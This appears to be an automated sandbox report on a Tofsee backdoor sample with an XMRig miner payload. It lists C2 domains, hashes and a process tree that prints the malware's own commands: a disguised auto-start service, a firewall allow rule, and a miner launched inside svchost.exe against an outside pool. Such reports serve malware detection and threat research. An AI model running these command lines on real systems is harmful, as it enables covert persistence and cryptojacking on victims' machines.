Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/01/2023, 21:39

General

  • Target
    file.exe
  • Size 195KB
  • Sample230121-1hlamaea68
  • SHA256 3e8e0330c65bfaebc579e71a371a34b617db0bb4d1eaf585d6af93deeda025b9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1364
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ackwaliy\
      2⤵
        PID:1920
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dcbcdnps.exe" C:\Windows\SysWOW64\ackwaliy\
        2⤵
          PID:1716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ackwaliy binPath= "C:\Windows\SysWOW64\ackwaliy\dcbcdnps.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4452
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ackwaliy "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4916
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ackwaliy
          2⤵
          • Launches sc.exe
          PID:212
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5036
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 1296
          2⤵
          • Program crash
          PID:3712
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1364 -ip 1364
        1⤵
          PID:2152
        • C:\Windows\SysWOW64\ackwaliy\dcbcdnps.exe
          C:\Windows\SysWOW64\ackwaliy\dcbcdnps.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3572
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1752
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3880
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3572 -s 536
            2⤵
            • Program crash
            PID:2904
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3572 -ip 3572
          1⤵
            PID:2952

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                dcbcdnps.exe

                • Path C:\Users\Admin\AppData\Local\Temp\dcbcdnps.exe
                • Size 13.9MB
                • SHA256 8852cd11338698760e41059f07575e0579edeca515514fcb91983eb876ed8da5
                • MD5 SHA1 SHA512 SSDEEP

                dcbcdnps.exe

                • Path C:\Windows\SysWOW64\ackwaliy\dcbcdnps.exe
                • Size 13.9MB
                • SHA256 8852cd11338698760e41059f07575e0579edeca515514fcb91983eb876ed8da5
                • MD5 SHA1 SHA512 SSDEEP

                memory/1364-133-0x0000000002DD0000-0x0000000002DE3000-memory.dmp

                memory/1364-134-0x0000000002D30000-0x0000000002D43000-memory.dmp

                memory/1364-135-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/1364-143-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/1752-152-0x0000000002200000-0x000000000240F000-memory.dmp

                memory/1752-151-0x00000000003B0000-0x00000000003C5000-memory.dmp

                memory/1752-167-0x00000000027E0000-0x00000000027E7000-memory.dmp

                memory/1752-164-0x0000000007140000-0x000000000754B000-memory.dmp

                memory/1752-145-0x00000000003B0000-0x00000000003C5000-memory.dmp

                memory/1752-161-0x00000000027D0000-0x00000000027D5000-memory.dmp

                memory/1752-158-0x0000000001930000-0x0000000001940000-memory.dmp

                memory/1752-150-0x00000000003B0000-0x00000000003C5000-memory.dmp

                memory/1752-155-0x0000000001920000-0x0000000001926000-memory.dmp

                memory/3572-149-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/3572-148-0x0000000002F0A000-0x0000000002F1D000-memory.dmp

                memory/3880-171-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/3880-176-0x0000000000C00000-0x0000000000CF1000-memory.dmp